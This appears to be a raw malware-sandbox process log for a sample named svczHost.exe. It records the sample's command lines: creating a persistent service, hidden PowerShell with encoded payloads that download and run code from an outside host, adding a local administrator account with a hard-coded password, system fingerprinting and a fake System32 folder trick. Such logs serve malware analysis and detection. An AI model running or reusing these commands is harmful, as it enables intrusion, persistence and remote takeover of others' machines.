Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1398.tmp" "c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
